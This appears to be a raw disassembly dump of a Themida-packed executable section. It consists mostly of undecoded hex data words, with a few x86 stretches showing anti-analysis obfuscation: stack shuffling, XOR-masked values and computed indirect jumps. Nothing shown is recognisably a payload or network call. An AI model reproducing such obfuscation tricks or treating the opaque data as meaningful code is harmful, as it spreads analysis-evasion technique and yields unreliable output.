dd 66443FFCh, 0C3992B15h, 0C374C6FEh, 3100440h, 75AD4594h
dd 7E223215h, 9448A41Eh, 88CB7451h, 249258A2h, 0E26AC45Ah
dd 9FBBE56Ah, 7C78F194h, 8DC568D0h, 3873508Bh, 0A590C93Ch
dd 38D9508Bh, 7CB4D994h, 0EDA68D0h, 661102D5h, 0D9AC0E9Ch
dd 66443211h, 8F7DC93Ch, 66113213h, 1460FDC3h, 0BE755F9Bh
dd 0BE13F124h, 0B69A5475h, 135AB373h, 724533Eh, 662CDBBEh
dd 0F043215h, 4BFBBF88h, 5E1F1C1h, 6B993376h, 6619BF1Ah
dd 0EB873215h, 66443217h, 7AA95375h, 86986231h, 66883610h
dd 6284B115h, 3A063692h, 66113CFCh, 1FD86415h, 81E8033Ch
dd 8FB6DE22h, 33090B9Dh, 668D8D42h, 9BCD3215h, 3BCC334Ah
dd 661137FCh, 49E67B15h, 672C64ABh, 0ED223215h, 0A2901611h
dd 66883211h, 69ADF1ECh, 11223215h, 90843F7Bh, 0D6053A03h
dd 0A6023138h, 60CBE5D7h, 9F113215h, 42E28FCCh, 6ACB5ABFh
dd 6AAB3215h, 0FBA85231h, 7F02469h, 72CD73h, 42063694h
dd 495470h, 42325447h, 0B66D5470h, 6ECB6873h, 17113215h
dd 0F843809Bh, 5A5FAC3Bh, 6EA63DD6h, 69113214h, 66883796h
dd 0D14B5215h, 0AD1E53ECh, 66E4B61Ah, 74613215h, 9B443215h
dd 0CEBEA88Ah, 5368F6D4h, 4543BFF0h, 2FC74DC5h, 69E00ECAh
dd 6611CE91h, 0E687CA15h, 66443214h, 69E80EE0h, 6611DE91h
dd 5BEECE15h, 0E24B17EAh, 66223307h, 66113FFCh, 241D4315h
dd 3354C159h, 96A24766h, 5B77C3F4h, 0E387CD3Bh, 6644324Fh
dd 0DC70CAE9h, 66113217h, 6402C014h, 0E760269Eh, 662236D1h
dd 6603DB15h, 8ADE3215h, 8DEC04B0h, 8109297Ch, 35ADCD19h
dd 0DEA62253h, 25F76144h, 0E679EF9Dh, 8E3161F8h, 669BDB4Ch
dd 28E53215h, 129D8E1Eh, 31078D9Bh, 38F566DCh, 1A3EC924h
dd 69820EA1h, 6611F191h, 5277CA15h, 0A2C76B31h, 60AF3D11h
dd 6113215h, 0F396A45h, 0DC166174h, 66223215h, 0EF4BE19Ch
dd 6E869CDh, 6644BF1Ah, 7433215h, 661091FCh, 760C3D15h
dd 8F443215h, 6622321Eh, 0EC0AB078h, 0F1760B53h, 57567713h
dd 6FCB52DCh, 0CE113215h, 0F8CA4D9Ch, 99EB0C12h, 3E435246h
dd 67A96274h, 67883215h, 8FBD6AD4h, 66223294h, 689F5AE9h
dd 5A013215h, 1AA18D31h, 809B7D5Bh, 575E7C69h, 6D616DECh
dd 6443215h, 61475C4Ah, 18E7FF1Ah, 3061F4F5h, 69443215h
dd 6622339Eh, 6079CA15h, 0ED883215h, 0A2C51619h, 66223211h
dd 662ADBE9h, 8F743215h, 66443219h, 0BA5BCFCAh, 0EF7B324Dh
dd 0CAB600BCh, 66438C43h, 97AB3215h, 0E735069Eh, 668836D1h
dd 67C63D15h, 9A223215h, 66113EFCh, 3D9E6915h, 0F1341AD2h
dd 0A01C3E8Dh, 9EB5C151h, 0A8036475h, 0DC86B34Ch, 7461667h
dd 4028BF9Eh, 8FE835BDh, 66443206h, 36B8999Fh, 0FDD07B28h
dd 42FABC24h, 4CF92BA7h, 8E780058h, 66113210h, 668BAFFh
dd 9CCF546Ch, 0E642534Bh, 0B991AAF4h, 0AF0D53F5h, 667BB71Ah
dd 0E6423215h, 77F804F1h, 21883215h, 141AFE60h, 0D781DE41h
dd 397A8EE2h, 0E4B5B96h, 6649DB74h, 0DAC3215h, 0ABDDC044h
dd 4496A7F0h, 0EFF13786h, 0CE040BA0h, 609F3D12h, 6883215h
dd 8DCE74A2h, 4216CD74h, 62D5B34Ch, 8F883215h, 6644321Ch
dd 0A404C4F0h, 6DA8E858h, 1C3567F4h, 0E73C533Bh, 9023CBF8h
dd 0E4AA616Dh, 6FE3BF0Bh, 0ABC569C8h, 3D0B7546h, 19C3C794h
dd 8E01CDFAh, 7FCC3D48h, 69223215h, 6611219Ch, 6686DB15h
dd 0BFD63215h, 0FFC98A75h, 9EB45C3h, 0AF3FD1F6h, 62452D6h
dd 89A35474h, 0E7704693h, 6F9924E2h, 0B15315h, 0E74404EAh
dd 2F231611h, 428CB973h, 46F696h, 66B0038h, 87B38A73h
dd 668FDA75h, 6A6E3215h, 128440A5h, 3F416CB2h, 5A745374h
dd 0C4C03DD6h, 93223214h, 34D0BA44h, 9500FC9Dh, 34246B4Fh
dd 66223CFDh, 98A315h, 47FF919Fh, 0B6C15FAEh, 38F8E3F4h
dd 0B1AE3D4Fh, 0BB3C6274h, 0E6EEFE95h, 82A27DD9h, 0A7E5B224h
dd 6203D135h, 6280B131h, 16D9B2E0h, 6575B61Ah, 5A743215h
dd 34C03DFCh, 69223214h, 66112D97h, 7F0C3D15h, 8F443215h
dd 66223201h, 0F1160F3Bh, 0CDB92BCh, 7CDC076Fh, 0FC7DDEC5h
dd 6E5A81C9h, 0E287D929h, 66443330h, 87A35275h, 86FDEA9h
dd 3D59B373h, 91C553E5h, 171B54D3h, 6616DB74h, 51163215h
dd 0E3869CD8h, 69E00E6Ah, 6611CE91h, 0E187CE15h, 66443214h
dd 69E90EECh, 6611DE91h, 5BEEC715h, 0E24B17EAh, 662232F4h
dd 0F5F7B375h, 0E79695D2h, 0B332DFE4h, 0AC1E5336h, 66DAB61Ah
dd 5A7D3215h, 0ADC03DF6h, 8F223217h, 66113210h, 0E81619B1h
dd 5B22CA14h, 0E32DCD3Bh, 66113298h, 66883BFCh, 51395D15h
dd 0CBA71AF7h, 0DC434E2Dh, 66883217h, 3D1DF094h, 94230C28h
dd 3D48D894h, 64020C28h, 6641DB4Fh, 6EC23215h, 3514BF32h
dd 89085FA2h, 90A3E2A4h, 0A6FDC4C2h, 0D64136F2h, 6240CC1Dh
dd 4E1606FEh, 9E026AD2h, 6600DB4Eh, 0B0EF3215h, 2EF226D0h
dd 57EEA4D1h, 99ED800Ch, 5AF55839h, 24C03DB5h, 6223215h
dd 9049F294h, 7760510Dh, 8A443215h, 930532DEh, 9DFB4768h
dd 172DCB30h, 0A343B96Dh, 39EAB973h, 44AA6174h, 25BE7732h
dd 41678F40h, 8D0B0450h, 3DC9BB48h, 66A5DBE0h, 243215h
dd 0B5A9FD9Eh, 5FA4BB74h, 938F9A33h, 0C5A7AF98h, 63CB35BBh
dd 7113215h, 0C7CE7002h, 0EBDE1EAh, 66223214h, 0E535369Eh
dd 0A57436D1h, 66C33D75h, 93223215h, 86986274h, 66883610h
dd 62ACB115h, 3A063692h, 635369Ch, 668EDA43h, 13813215h
dd 47055E57h, 61F86D4Fh, 6E883215h, 975187Ch, 69439F25h
dd 66112092h, 6E615215h, 0E7443215h, 64AE5840h, 695FA563h
dd 37E9CDAAh, 664422ACh, 27CBB315h, 6716BB24h, 2749B3E4h
dd 0ED43BB24h, 0DD426B14h, 5A00D24Bh, 3CE95247h, 0DFC1BB74h
dd 6259A1Ah, 6616DB46h, 0DFD23215h, 6C91849Eh, 0A8A36DB4h
dd 351EF486h, 428CB974h, 0E7A2BB43h, 662236D3h, 62D7B115h
dd 3AAC0692h, 664EB11Ah, 63CB3215h, 8A113215h, 0F8DA2FBAh
dd 0DD1767E0h, 71B02D65h, 0BF19EA8h, 3D5533FDh, 6919DC14h
dd 6622339Ah, 0DB9CC715h, 61201608h, 664437FCh, 375C7B15h
dd 8FBCC93Ah, 66883201h, 3DD9AB1h, 89C04EDDh, 0B79B8E1Dh
dd 8646D558h, 31B0F23h, 0FF156210h, 4255315Dh, 36376531h
dd 4F0CAB22h, 0CDDE6DEDh, 3BACBFE9h, 8F8F9A1Ah, 6644321Ah
dd 1DF677ADh, 5C3A22DCh, 0D60B6A20h, 0CB47BA96h, 662221FCh
dd 0CBAC6815h, 0F7515735h, 544C57CCh, 0BAECD952h, 0BB0D2CB2h
dd 0C392F838h, 3B873738h, 2221365Ah, 0A53C1631h, 638C7D48h
dd 4BE128DFh, 2A405AECh, 62983215h, 9323CE31h, 6642B61Ah
dd 36423215h, 74F654Dh, 6C618F98h, 6DAD35BDh, 1C223215h
dd 0DB97C3DCh, 8413334h, 8FE95DBAh, 66223213h, 35B9BCD2h
dd 0A8DA0C7h, 65739E5Fh, 330A1651h, 0CA5B5EA8h, 3B601B22h
dd 0E722CE75h, 75564E6h, 6601DBBEh, 0A2DF3215h, 7FA0EF52h
dd 6E15413Ah, 60A33901h
dd 5277061Fh, 0A2C76C31h, 6624DB11h, 12B23215h, 0D8892E97h
dd 6648DBD6h, 265D3215h, 0AA2DDA6h, 72485A33h, 0EF163E96h
dd 62E0B3F7h, 0E5113215h, 720F36FFh, 52CD6E31h, 6628DB31h
dd 62DC3215h, 8CF028A5h, 13E6D175h, 0C53EAF98h, 0DE7135BBh
dd 55691242h, 39E98873h, 6F1CD74h, 39EBB942h, 668CB71Ah
dd 0DD223215h, 8F439B9Eh, 99EECF98h, 669EBD1Ah, 0ED243215h
dd 662FDBD4h, 53A33215h, 40347675h, 0ADB0F3ADh, 618B1A1Dh
dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 3AC0D5F2h, 96A5EAE6h
dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 724ECE25h, 0DCF14225h
dd 0BA426F32h, 0D871BA8Dh, 42C3A8EDh, 0AEA2458Ah, 60D558DDh
dd 2538C882h, 462DFBCFh, 3999DF07h, 0C6D55307h, 0B85E0003h
dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 560D220Ah, 2EB0D9FBh
dd 0AEA5EAE2h, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
dd 0BA4DD832h, 0CB2F168Dh, 12853C93h, 142B9675h, 152ABD54h
dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E8000030h, 9, 5456D56Ah
dd 941A54A0h, 8E0F6Fh, 5B000000h, 5E9h, 75A2E300h, 0C381BCB9h
dd 5BF6h, 2B73CD80h, 1F34FFFFh, 14E9h, 4F8DA100h, 46EF406Bh
dd 0A0A40774h, 4BB56504h, 0EBFBF09Ah, 0BF0F5E72h, 9EEE81D3h
dd 0E963DC20h, 0Eh, 0BA0A64F2h, 34DDD72Ch, 573D7E7Dh, 0EE8135D6h
dd 844F1A2h, 0FFD18166h, 22F68154h, 0E83994FDh, 8, 525B23C4h
dd 81BAB11Ch, 8E8h, 17DDA000h, 0DCC150CEh, 0C88B66C0h
dd 34895858h, 0BE93Bh, 438F0000h, 6A08CDC1h, 8311E541h
dd 5E83Bh, 0A5FC0000h, 0F53CB1C6h, 83EF8358h, 0A4F305E9h
dd 0A4E4CB8Bh, 0D5B13ADDh, 0E8383D56h, 15B13256h, 0B55DB937h
dd 5DB127D3h, 25D75256h, 57BADB87h, 2E023256h, 7F99A390h
dd 0E12F2C0Fh, 9D4953BAh, 0BAB13256h, 0E983B30Ch, 0B0A4F305h
dd 0F29D11F1h, 2375FD7Ah, 0CD7D17FBh, 0D525FAD5h, 0ADFDF53Fh
dd 90DA9289h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
dd 95987C27h, 0A072520Bh, 831A87FFh, 0A4F305E9h, 0BD8DDB8Bh
dd 7AFDD89h, 660F8D8Dh, 44B807B0h, 2B321566h, 2E9C1CFh
dd 0C8D00731h, 4904C783h, 8160F675h, 0C72C3CCEh, 9E966h
dd 0F5D70000h, 0F53628ADh, 610001C6h, 9DF8160h, 6616FD6Ah
dd 5061D68Bh, 8324048Bh, 14E904C4h, 73000000h, 3349BFA7h
dd 0D08BD3B0h, 3FE22CB7h, 353668CCh, 83E0778Ch, 0A827F9BDh
dd 9750007h, 605BD83h, 740007A8h, 8B535019h, 411B8C0h
dd 85890000h, 7A80ECDh, 0B08A9D8Dh, 0D3FF07AAh, 0BD83585Bh
dd 7A80605h, 50177400h, 411B853h, 85890000h, 7A80ECDh
dd 0AD2B9D8Dh, 0D3FF07AAh, 60F5585Bh, 0F8D1B70Fh, 0B70F6061h
dd 12E8D8h, 66120000h, 0A7781D0Dh, 998E266Ah, 5C92AA93h
dd 0F2B8E199h, 5ACB8B66h, 48B5061h, 4C48324h, 0C890Fh
dd 820F0000h, 6, 840Fh, 0E9F80000h, 1Eh, 17E5878Ah, 6 dup(0)
dd 0BFE90000h, 9D000004h, 0DDC6DBFCh, 1A03183Fh, 5B44597Eh
dd 9A8398BFh, 0B9C7DCFBh, 0D1C69510h, 1304D3BCh, 574015FEh
dd 9EB95942h, 0C40AA989h, 0CBA9078Eh, 0C74CFA94h, 0B8350017h
dd 879042E5h, 0B6685166h, 0BC92B4A1h, 8C2784BDh, 16937088h
dd 2D665344h, 78556D6Ah, 733E59FBh, 6C3720F6h, 195F2CEFh
dd 0D3591BE3h, 0F6C1E2E9h, 5D3CA7A2h, 0C04FBAB5h, 888F491Eh
dd 0BACFF0BDh, 0FE1304D1h, 6A574015h, 1B99CF15h, 989FD359h
dd 7326A380h, 711E9964h, 0B5A27706h, 24469BA0h, 7385770h
dd 548A68DAh, 37D35968h, 0D8A57067h, 280B232Ah, 0C966176h
dd 0D35968D3h, 0FFAB16ADh, 1BA8094Bh, 4E8Eh, 9E3A7300h
dd 5B3167ADh, 3037D359h, 0C711F70Fh, 0AB350017h, 0D3597073h
dd 9F4BB64Dh, 1BA801EBh, 12Eh, 15C72C00h, 499E3702h, 5970CD03h
dd 0B4CCD3D3h, 491403D1h, 8C700ECCh, 0CA4E542Bh, 6FC38EAFh
dd 0DA7A0974h, 1FBFA8BDh, 0ABF7E3F8h, 1C325489h, 4E10D35Fh
dd 2D102849h, 219E696Eh, 0D4996473h, 12C150BBh, 5707F005h
dd 20F87540h, 2A276C37h, 159F4D08h, 81990638h, 6B4FFB66h
dd 0CE1BA724h, 3Fh, 314C7CCh, 0FA1DBB38h, 75E0DB2Fh, 0B2037E6h
dd 99647322h, 8E597E1Ch, 19C53049h, 1BA7FF21h, 3198h, 14C79600h
dd 0A9F41603h, 0ECDE7120h, 0CD4A273Fh, 0FB440F08h, 2DF07FEAh
dd 0C729152Ah, 0AD370215h, 0D3597074h, 0A04CB74Eh, 1BA801EAh
dd 12Fh, 11C72D00h, 1CBE3B06h, 8B530FBh, 4D4A0E9Dh, 4D898E38h
dd 8FC50B60h, 95D35970h, 3177768Eh, 0DB018450h, 1B3CDE17h
dd 4F3C4303h, 0C218FA2Dh, 0F3ADE64Ch, 0BB81D2B9h, 27041C0Dh
dd 9483558Eh, 45F9997Ch, 6C14BF9h, 31466727h, 0B6819648h
dd 1B4F42Ch, 8FFA0BDBh, 24395E00h, 0B17C9B3Bh, 0AA756234h
dd 36C6E8E5h, 0A115FEF5h, 0D8435E76h, 798E8949h, 19805274h
dd 0F6AB9548h, 3794DEDEh, 518AE3FFh, 4D83C982h, 53DB022Eh
dd 0F7132B4Ch, 12Eh, 0C51106F5h, 9D9D92D8h, 9CA3DB01h
dd 958254D1h, 20C79780h, 6F3A5B7Ch, 6C3720F2h, 78238EA7h
dd 0B37E993Fh, 2BEBCEE6h, 5911172Ch, 0A0E3FFD2h, 33h, 0C115069Eh
dd 70388ED4h, 373E5359h, 0FE9AD36Ch, 9BD1C1D9h, 64535970h
dd 0A0D984EFh, 4613DEF9h, 45898A2Eh, 70BC1258h, 0BBC2D359h
dd 0C862A6h, 6A40000h, 0B6D8C511h, 0E113A14Bh, 0FA307653h
dd 0D358E1h, 0C1C0D8F9h, 0FE267Bh, 0B8C2CDBh, 351D3EDh
dd 926AA0E6h, 6970DB00h, 0C35C2748h, 6EBAA6A1h, 5107C756h
dd 8DAE7B46h, 0D7C09275h, 0D784BDC2h, 15C5A8C0h, 0C5908752h
dd 820CD7F8h, 0DB015747h, 53E24D5Eh, 2631E483h, 0C9EBF005h
dd 394A2F82h, 0C29E01C1h, 0ED345FFh, 9F781C34h, 0D3F54A37h
dd 85307668h, 0D208E647h, 0D8DB00D6h, 65BAB9D1h, 0D694CA10h
dd 939ADB00h, 3F588B7Bh, 575EE2B1h, 6DD1F38Ch, 770B35DFh
dd 0A171546Ch, 0A96EEBB6h, 0B666E3AEh, 0A004D808h, 4A6BFC0Ah
dd 0EC57047Fh, 26913E0Dh, 0A89541D6h, 60F32F62h, 1BBDF6EAh
dd 1D24E4FCh, 89AB1C08h, 250CEE44h, 1700D6C1h, 8D5E7F4Ch
dd 3704CFC8h, 3A9A7B1Fh, 0E9D6F84Dh, 5969B1FEh, 98A410CAh
dd 2035BF6Ch, 2DE51808h, 0E4EBDB09h, 1EBED5F7h, 1644B586h
dd 0F2A421FEh, 18BFF8E5h, 0E0B734FFh, 3E5F2CF7h, 4416FF26h
dd 68446653h, 81B7FDEBh, 87DB087Ah, 2897C680h, 7903E0F8h
dd 0EB5EA0BFh, 0BA65D0CBh, 4013D481h, 3B1E3657h, 62677C9Bh
dd 9F6A6D29h, 7D7BAD2h, 12C84510h, 0A0BDF339h, 0BCC3EB5Eh
dd 8153D09Bh, 8F4ECB96h, 9542BD88h, 0CF7C4B2Ah, 4605D564h
dd 5EA0CA00h, 6530D0EBh, 26092DADh, 1328496Ah, 0A46F682Ah
dd 3CCh, 3EDC0E00h, 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh
dd 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch
dd 0E089503Ch, 405h, 4E88300h, 31240433h, 4332404h, 89575C24h
dd 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h, 57D36824h
dd 14890000h, 33236824h, 3C890000h, 692ABF24h, 0FB8907B0h
dd 3C6D685Fh, 24890000h, 24048124h, 4, 0BA52535Ah, 4E9F2B36h
dd 4245431h, 8428F5Ah, 36087281h, 8B4E9F2Bh, 89512414h
dd 4C181E1h, 83000000h, 0C8704C1h, 34FF5C24h, 0C4815B24h
dd 4, 0F811CAE9h, 60B80AFFh, 307B06Dh, 0B6E0FFC5h, 49444CF8h
dd 0B4704FD2h, 586E66C0h, 0E83FAB8Dh, 650E78A9h, 0E82DDE94h
dd 5, 6B771DB2h, 0EF815148h, 53B8668Eh, 8B665B5Eh, 8FC381F0h
dd 6600005Ch, 0BAF98Bh, 60000000h, 0BE8h, 963B1300h, 6CFD449h
dd 58BC564Dh, 90A3B966h, 48B615Bh, 12E913h, 49EE0000h
dd 88CFF61Ch, 0A84299AFh, 4551F4B7h, 1698F1E3h, 6AD0F081h
dd 0B4BF3777h, 81231D94h, 99DE77E8h, 0CE816642h, 0C081113Eh
dd 6A537A44h, 1800Fh, 89F50000h, 8E91304h, 0C1000000h
dd 19C6BD5Dh, 8161DBE9h, 8DFCC0EAh, 1BE6657h, 0BCC28100h
dd 0E9578DFCh, 8, 0D834125Bh, 2B7F681Bh, 0A41CFA81h, 850FFFFFh
dd 0FFFFFF8Ah, 0E9F28B66h, 38h, 4F38713h, 0Dh dup(0)
; ---------------------------------------------------------------------------
jmp loc_608815
; ---------------------------------------------------------------------------
push 7B07029h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7B070A3h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7B071C5h
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0A9h
dd 0F1DAEFE8h, 361F3423h, 77607562h, 0B69FB4A3h, 0CDDBF0E7h
dd 0EDEAA9FCh, 2F28EFD8h, 7364311Ah, 0B2A5755Eh, 0D81EBD9Dh
dd 0CBA901A2h, 0C7600EA8h, 0BB380314h, 0BA0FFC1Bh, 0F7C2D581h
dd 70164C2Ah, 151CD359h, 2B2CD6FDh, 87A9FEEBh, 0D2124A4Ah
dd 0E1E89AF8h, 6B038F49h, 0FB317764h, 1D358F8h, 5F2E2FAh
dd 0BDB0123h, 3EDE1704h, 86914819h, 0CD07916Eh, 0E8DB0123h
dd 0F2B864CFh, 47E3F04Ch, 2CDh, 0E26FC345h, 6EB4A175h
dd 0DB01764Dh, 55234C53h, 0D866DC94h, 8875A1B6h, 9AB4D266h
dd 56057654h, 88A97641h, 0C71C7170h, 4F62C72h, 0F5FCD867h
dd 6705E117h, 0C8E0E7D8h, 0F1E33D8h, 673239E0h, 0FD3379CEh
dd 3E00F1Dh, 686F2BFCh, 14B8D09Dh, 0A0E6D303h, 0E7B75A45h
dd 3195B70Ch, 17D2F942h, 0A61F5533h, 1E25E7B6h, 7293F64h
dd 0CFE7FD86h, 0E21B080Fh, 29122730h, 0A7766E69h, 68E7694Ah
dd 2DBFBD3h, 0FD9E0000h, 38DCC5DAh, 77210A1Fh, 0B4624B60h
dd 0F6A58EA3h, 0BBECCE1h, 0C7DCFB9Ah, 71C3BDEh, 495E791Eh
dd 8499BE60h, 89BF05A4h, 8FCBA900h, 110647F5h, 707DB3F9h
dd 0FE44D359h, 0D35970C8h, 1219C7CEh, 64859241h, 2CE92277h
dd 0B023132Bh, 0B6DB09DEh, 346DC2AFh, 7C5F7760h, 0A4A9BED9h
dd 96AEA96Bh, 2CF7E0B3h, 9DE67A2h, 8F884ADBh, 843C9697h
dd 16EE83F4h, 261h, 4F647324h, 8CA1B666h, 0CDE2F5A3h, 0C2136E4h
dd 52677023h, 7D208544h, 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h
dd 8B2A0A1Fh, 0A9000F45h, 0CD7B15CBh, 43151106h, 9BBC8954h
dd 0DEF568AEh, 0F4FBDB09h, 0C0BCE07h, 710C441h, 364E6F3Ch
dd 0DF95CF59h, 97B0DB09h, 6CCA802Ch, 6E0FE3E8h, 0D000001h
dd 350017C7h, 0DCF1E6B8h, 4F12532h, 1987DBEh, 8F7C83DBh
dd 79918656h, 98D8129Ch, 0DAF3DB01h, 258FC36Fh, 3C52E3F0h
dd 50000000h, 0D8C51106h, 1765D92h, 6F5C63DBh, 12C56236h
dd 4C6D3A05h, 93CD5734h, 0AEDB0176h, 347E2A95h, 2AE3FFFBh
dd 683324F1h, 6A5389CFh, 5259DB01h, 9ABD6031h, 0AE6682h
dd 0C7640000h, 9C350017h, 83C4BB7Ah, 4A1B89BAh, 91748C8Bh
dd 8D0AD5C2h, 0D07D31CDh, 0B16B6C2Eh, 78995A38h, 696E30ADh
dd 0EE025E54h, 35E5D358h, 0F2630D22h, 45EF3522h, 4BDB039Ch
dd 7F1E5744h, 0E93E4358h, 39C6DA3h, 9B6C73DBh, 0DDC0D8FFh
dd 621193Eh, 0FFF49E7Ah, 13F926Ah, 51020000h, 94483146h
dd 0D3856E83h, 10C6AFC4h, 4A09F207h, 9F2A384Dh, 2B405706h
dd 6B809742h, 0ADC2D582h, 0F00512C4h, 0F52B7110h, 0FBCBA8FEh
dd 72ABB361h, 0B79AB2A5h, 0ABE127E4h, 0B1D35970h, 0B539F0AAh
dd 5F74FE01h, 9E40293Eh, 86538C79h, 66527991h, 350017C7h
dd 0DCF1E6B8h, 4F12532h, 1BED1BEh, 7E20D7DBh, 294B3859h
dd 5D00D04Fh, 0E8A26F3Ah, 1D3558D4h, 2136E51Eh, 0BCE070Ch
dd 5C74410Ch, 1E7326Ch, 524515DBh, 5AFF383Dh, 9342253Dh
dd 0FC429784h, 0DB01E7C6h, 5F6597C0h, 9C4A08E9h, 0C8A07D95h
dd 95h, 0C511060Ah, 8A4A83D8h, 0DDF5C28Dh, 9DF76EDh, 0AA757CDBh
dd 556A6D2Dh, 0C0ADAA6Ch, 70C3F9Eh, 0F10910A8h, 92728A14h
dd 837EDE4Dh, 0CEC98918h, 0E5F2A8E1h, 927CB2F8h, 7B82DE4Dh
dd 0FE373C63h, 40233B5Ch, 1258AD9Eh, 0DE4D92DCh, 0C7FDDBE2h
dd 0CDDE4D92h, 41DAA5C6h, 5AD5108h, 65B5CDBEh, 912AF516h
dd 4DF4154Bh, 0F3141BDEh, 3522F8DBh, 4A4D0F48h, 2DDA5532h
dd 746333C2h, 0B3A4765Fh, 0F10E8h, 0DC520000h, 942AEC25h
dd 3C6E85A6h, 647C9DA9h, 116C77Eh, 0FE19B936h, 0F6E1B633h
dd 0ECEBAE2Bh, 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h
dd 0BFD87CF9h
db 0F4h, 3Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push 7860h
mov [esp], edi
push 75Eh
mov [esp], ebx
push edx
mov edx, 7B06F1Eh
push edx
pop edi
pop edx
push esp
mov ebx, [esp]
add esp, 4
push edi
push ebp
mov ebp, 11B00977h
xor [esp+4], ebp
pop ebp
pop dword ptr [ebx+8]
xor dword ptr [ebx+8], 11B00977h
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_58941B
; ---------------------------------------------------------------------------
sbb cs:[ecx], eax
loc_608815: ; CODE XREF: Themida_:00608364j
mov eax, 7B07329h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0E338h
dd 1EFF0328h, 0DE08235Bh, 7D2C27E8h, 3D24E4h, 0DD0D5E88h
dd 0A2E22AD8h, 9966A45h, 99A22D5Bh, 0F52A4724h, 0CBBC1F42h
dd 41AC4613h, 0FD407123h, 9F6675ACh, 0E843568Fh, 6C4E6AFFh
dd 0D6B5008Dh, 5E666004h, 0C56E2048h, 0DCE71A3h, 4AA97991h
dd 8D1930A1h, 5EBA1AD5h, 7E596BE9h, 2A8E53F8h, 0E9CA016Eh
dd 25721665h, 672852E1h, 44F50EA6h, 80784EB8h, 6ECF20C3h
dd 0EDE9118Fh, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
dd 0A80579B5h, 0FE8307h, 22850Fh, 85C60000h, 7A80619h
dd 69696845h, 0B5FF8E72h, 7A81895h, 781A858Dh, 0D0FF07ABh
dd 0A3D8589h, 0F08B07A8h, 0FE93E80h, 3185h, 0CD858D00h
dd 0FF07AD9Eh, 0C1BD8BD0h, 8107A825h, 1184C7h, 79B58B00h
dd 8707A805h, 8B9F7h, 0A4F30000h, 579B58Bh, 858D07A8h
dd 7AC341Ah, 0B58BD0FFh, 7A80525h, 0F00FE83h, 2285h, 1985C600h
dd 5407A806h, 4EBEF468h, 95B5FFFFh, 8D07A818h, 0AB781A85h
dd 89D0FF07h, 0A8052585h, 80F08B07h, 850FE93Eh, 3Ah, 525B58Bh
dd 858D07A8h, 7AD9ECDh, 0BD8BD0FFh, 7A825C1h, 1184C781h
dd 0C7830000h, 25B58B08h, 8707A805h, 8B9F7h, 0A4F30000h
dd 525B58Bh, 858D07A8h, 7AC341Ah, 0C361D0FFh, 7436858Dh
dd 858907B0h, 7A82DBDh, 762C8D8Dh, 6A07B0h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 84EEFEC3h
dd 8B6680D5h, 898DB7FBh, 0A817318Dh, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0B982EBABh
dd 85C7ACA3h, 7A80A59h, 5C2Ch, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 77C35545h, 0E96070FBh, 104A72CCh
dd 3985C762h, 7A809h, 80000000h, 9D0BCAF3h, 7A82F49h, 55B5FFh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 85DFFFC3h, 7D6E94Ah, 0E95AC126h, 0Bh, 39BBDD5Ch
dd 6E5E499h, 0FF0A5B3Bh, 0A81A9995h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 5BB442EDh
dd 6A379Dh, 0D2195FFh, 0C08B07A8h, 7BE6CEBh, 0F62BFC1Eh
dd 0DE798FDCh, 89A5C16Bh, 0E2585E32h, 0D4B16EF3h, 0E4A280B7h
dd 806CF5B4h, 0DA833A01h, 2393401Fh, 0E1D15618h, 0C844AC80h
dd 52A1DAA5h, 172D3CFAh, 0A4968C1Eh, 9DA11F41h, 0A5D573B5h
dd 0C9FFFF45h, 6CDE004Ch, 0FD8631A3h, 98B989DAh, 517BFC4Eh
dd 37D92362h, 8A4AAC1Eh, 8C6AAFFh, 6B1D7E5Dh, 25D9D1FEh
dd 1FE9A46Fh, 6B000000h, 527C2E2Ah, 6C416C74h, 61636F6Ch
dd 65486574h, 7061h, 1400h, 0
dd 14E90000h, 68000010h, 7B078A3h, 0F808E2E9h, 796D68FFh
dd 0D8E907B0h, 68FFF808h, 7B07B7Eh, 0F808CEE9h, 7C6868FFh
dd 0C4E907B0h, 68FFF808h, 7B07FBFh, 0F808BAE9h, 804768FFh
dd 0B0E907B0h, 68FFF808h, 7B08086h, 0F808A6E9h, 819868FFh
dd 9CE907B0h, 68FFF808h, 7B08218h, 0F80892E9h, 82A068FFh
dd 88E907B0h, 68FFF808h, 7B08425h, 0F8087EE9h, 854368FFh
dd 74E907B0h, 89FFF808h, 0D1BACFC8h, 16FF1403h, 57405542h
dd 967F9483h, 0ADBBD0C7h, 0CDCA891Ch, 0F08CFB8h, 534411FAh
dd 9285553Eh, 0B8FE9D7Dh, 0CBA8F982h, 0C740EE88h, 0B8350017h
